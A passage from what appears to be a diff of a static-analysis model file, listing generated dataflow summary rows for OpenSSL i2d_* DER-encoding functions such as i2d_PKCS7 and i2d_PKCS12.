"i2d_OSSL_CRMF_SINGLEPUBINFO", "(const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_SINGLEPUBINFO", "(const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_SINGLEPUBINFO", "(const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_SINGLEPUBINFO", "(const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME", "(const OSSL_DAY_TIME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME", "(const OSSL_DAY_TIME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME", "(const OSSL_DAY_TIME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME", "(const OSSL_DAY_TIME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME_BAND", "(const OSSL_DAY_TIME_BAND *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME_BAND", "(const OSSL_DAY_TIME_BAND *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME_BAND", "(const OSSL_DAY_TIME_BAND *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME_BAND", "(const OSSL_DAY_TIME_BAND *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_HASH", "(const OSSL_HASH *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_HASH", "(const OSSL_HASH *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_HASH", "(const OSSL_HASH *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_HASH", "(const OSSL_HASH *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_IETF_ATTR_SYNTAX", "(const OSSL_IETF_ATTR_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_IETF_ATTR_SYNTAX", "(const OSSL_IETF_ATTR_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_IETF_ATTR_SYNTAX", "(const OSSL_IETF_ATTR_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_IETF_ATTR_SYNTAX", "(const OSSL_IETF_ATTR_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX", "(const OSSL_INFO_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX", "(const OSSL_INFO_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX", "(const OSSL_INFO_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX", "(const OSSL_INFO_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX_POINTER", "(const OSSL_INFO_SYNTAX_POINTER *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX_POINTER", "(const OSSL_INFO_SYNTAX_POINTER *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX_POINTER", "(const OSSL_INFO_SYNTAX_POINTER *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX_POINTER", "(const OSSL_INFO_SYNTAX_POINTER *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_NAMED_DAY", "(const OSSL_NAMED_DAY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_NAMED_DAY", "(const OSSL_NAMED_DAY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_NAMED_DAY", "(const OSSL_NAMED_DAY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_NAMED_DAY", "(const OSSL_NAMED_DAY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_PRIVILEGE_POLICY_ID", "(const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_PRIVILEGE_POLICY_ID", "(const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_PRIVILEGE_POLICY_ID", "(const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_PRIVILEGE_POLICY_ID", "(const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID", "(const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID", "(const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID", "(const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID", "(const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGET", "(const OSSL_TARGET *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TARGET", "(const OSSL_TARGET *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGET", "(const OSSL_TARGET *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGET", "(const OSSL_TARGET *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGETING_INFORMATION", "(const OSSL_TARGETING_INFORMATION *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TARGETING_INFORMATION", "(const OSSL_TARGETING_INFORMATION *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGETING_INFORMATION", "(const OSSL_TARGETING_INFORMATION *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGETING_INFORMATION", "(const OSSL_TARGETING_INFORMATION *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGETS", "(const OSSL_TARGETS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TARGETS", "(const OSSL_TARGETS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGETS", "(const OSSL_TARGETS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGETS", "(const OSSL_TARGETS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_PERIOD", "(const OSSL_TIME_PERIOD *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_PERIOD", "(const OSSL_TIME_PERIOD *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_PERIOD", "(const OSSL_TIME_PERIOD *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_PERIOD", "(const OSSL_TIME_PERIOD *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC", "(const OSSL_TIME_SPEC *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC", "(const OSSL_TIME_SPEC *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC", "(const OSSL_TIME_SPEC *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC", "(const OSSL_TIME_SPEC *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_ABSOLUTE", "(const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_ABSOLUTE", "(const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_ABSOLUTE", "(const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_ABSOLUTE", "(const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_DAY", "(const OSSL_TIME_SPEC_DAY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_DAY", "(const OSSL_TIME_SPEC_DAY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_DAY", "(const OSSL_TIME_SPEC_DAY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_DAY", "(const OSSL_TIME_SPEC_DAY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_MONTH", "(const OSSL_TIME_SPEC_MONTH *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_MONTH", "(const OSSL_TIME_SPEC_MONTH *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_MONTH", "(const OSSL_TIME_SPEC_MONTH *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_MONTH", "(const OSSL_TIME_SPEC_MONTH *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_TIME", "(const OSSL_TIME_SPEC_TIME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_TIME", "(const OSSL_TIME_SPEC_TIME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_TIME", "(const OSSL_TIME_SPEC_TIME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_TIME", "(const OSSL_TIME_SPEC_TIME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_WEEKS", "(const OSSL_TIME_SPEC_WEEKS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_WEEKS", "(const OSSL_TIME_SPEC_WEEKS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_WEEKS", "(const OSSL_TIME_SPEC_WEEKS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_WEEKS", "(const OSSL_TIME_SPEC_WEEKS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_X_DAY_OF", "(const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_X_DAY_OF", "(const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_X_DAY_OF", "(const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_X_DAY_OF", "(const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_USER_NOTICE_SYNTAX", "(const OSSL_USER_NOTICE_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_USER_NOTICE_SYNTAX", "(const OSSL_USER_NOTICE_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_USER_NOTICE_SYNTAX", "(const OSSL_USER_NOTICE_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_USER_NOTICE_SYNTAX", "(const OSSL_USER_NOTICE_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OTHERNAME", "(const OTHERNAME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OTHERNAME", "(const OTHERNAME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OTHERNAME", "(const OTHERNAME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OTHERNAME", "(const OTHERNAME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBE2PARAM", "(const PBE2PARAM *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PBE2PARAM", "(const PBE2PARAM *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBE2PARAM", "(const PBE2PARAM *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PBE2PARAM", "(const PBE2PARAM *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBEPARAM", "(const PBEPARAM *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PBEPARAM", "(const PBEPARAM *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBEPARAM", "(const PBEPARAM *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PBEPARAM", "(const PBEPARAM *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBKDF2PARAM", "(const PBKDF2PARAM *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PBKDF2PARAM", "(const PBKDF2PARAM *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBKDF2PARAM", "(const PBKDF2PARAM *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PBKDF2PARAM", "(const PBKDF2PARAM *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBMAC1PARAM", "(const PBMAC1PARAM *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PBMAC1PARAM", "(const PBMAC1PARAM *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PBMAC1PARAM", "(const PBMAC1PARAM *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PBMAC1PARAM", "(const PBMAC1PARAM *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12", "(const PKCS12 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS12", "(const PKCS12 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12", "(const PKCS12 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12", "(const PKCS12 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_BAGS", "(const PKCS12_BAGS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS12_BAGS", "(const PKCS12_BAGS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_BAGS", "(const PKCS12_BAGS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_BAGS", "(const PKCS12_BAGS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_MAC_DATA", "(const PKCS12_MAC_DATA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS12_MAC_DATA", "(const PKCS12_MAC_DATA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_MAC_DATA", "(const PKCS12_MAC_DATA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_MAC_DATA", "(const PKCS12_MAC_DATA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_SAFEBAG", "(const PKCS12_SAFEBAG *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS12_SAFEBAG", "(const PKCS12_SAFEBAG *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_SAFEBAG", "(const PKCS12_SAFEBAG *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_SAFEBAG", "(const PKCS12_SAFEBAG *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_bio", "(BIO *,const PKCS12 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS12_fp", "(FILE *,const PKCS12 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7", "(const PKCS7 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7", "(const PKCS7 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7", "(const PKCS7 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7", "(const PKCS7 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_DIGEST", "(const PKCS7_DIGEST *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_DIGEST", "(const PKCS7_DIGEST *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_DIGEST", "(const PKCS7_DIGEST *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_DIGEST", "(const PKCS7_DIGEST *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENCRYPT", "(const PKCS7_ENCRYPT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_ENCRYPT", "(const PKCS7_ENCRYPT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENCRYPT", "(const PKCS7_ENCRYPT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENCRYPT", "(const PKCS7_ENCRYPT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENC_CONTENT", "(const PKCS7_ENC_CONTENT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_ENC_CONTENT", "(const PKCS7_ENC_CONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENC_CONTENT", "(const PKCS7_ENC_CONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENC_CONTENT", "(const PKCS7_ENC_CONTENT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENVELOPE", "(const PKCS7_ENVELOPE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_ENVELOPE", "(const PKCS7_ENVELOPE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENVELOPE", "(const PKCS7_ENVELOPE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ENVELOPE", "(const PKCS7_ENVELOPE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ISSUER_AND_SERIAL", "(const PKCS7_ISSUER_AND_SERIAL *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_ISSUER_AND_SERIAL", "(const PKCS7_ISSUER_AND_SERIAL *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ISSUER_AND_SERIAL", "(const PKCS7_ISSUER_AND_SERIAL *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_ISSUER_AND_SERIAL", "(const PKCS7_ISSUER_AND_SERIAL *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_NDEF", "(const PKCS7 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_NDEF", "(const PKCS7 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_NDEF", "(const PKCS7 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_NDEF", "(const PKCS7 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_RECIP_INFO", "(const PKCS7_RECIP_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_RECIP_INFO", "(const PKCS7_RECIP_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_RECIP_INFO", "(const PKCS7_RECIP_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_RECIP_INFO", "(const PKCS7_RECIP_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGNED", "(const PKCS7_SIGNED *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_SIGNED", "(const PKCS7_SIGNED *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGNED", "(const PKCS7_SIGNED *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGNED", "(const PKCS7_SIGNED *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGNER_INFO", "(const PKCS7_SIGNER_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_SIGNER_INFO", "(const PKCS7_SIGNER_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGNER_INFO", "(const PKCS7_SIGNER_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGNER_INFO", "(const PKCS7_SIGNER_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGN_ENVELOPE", "(const PKCS7_SIGN_ENVELOPE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", 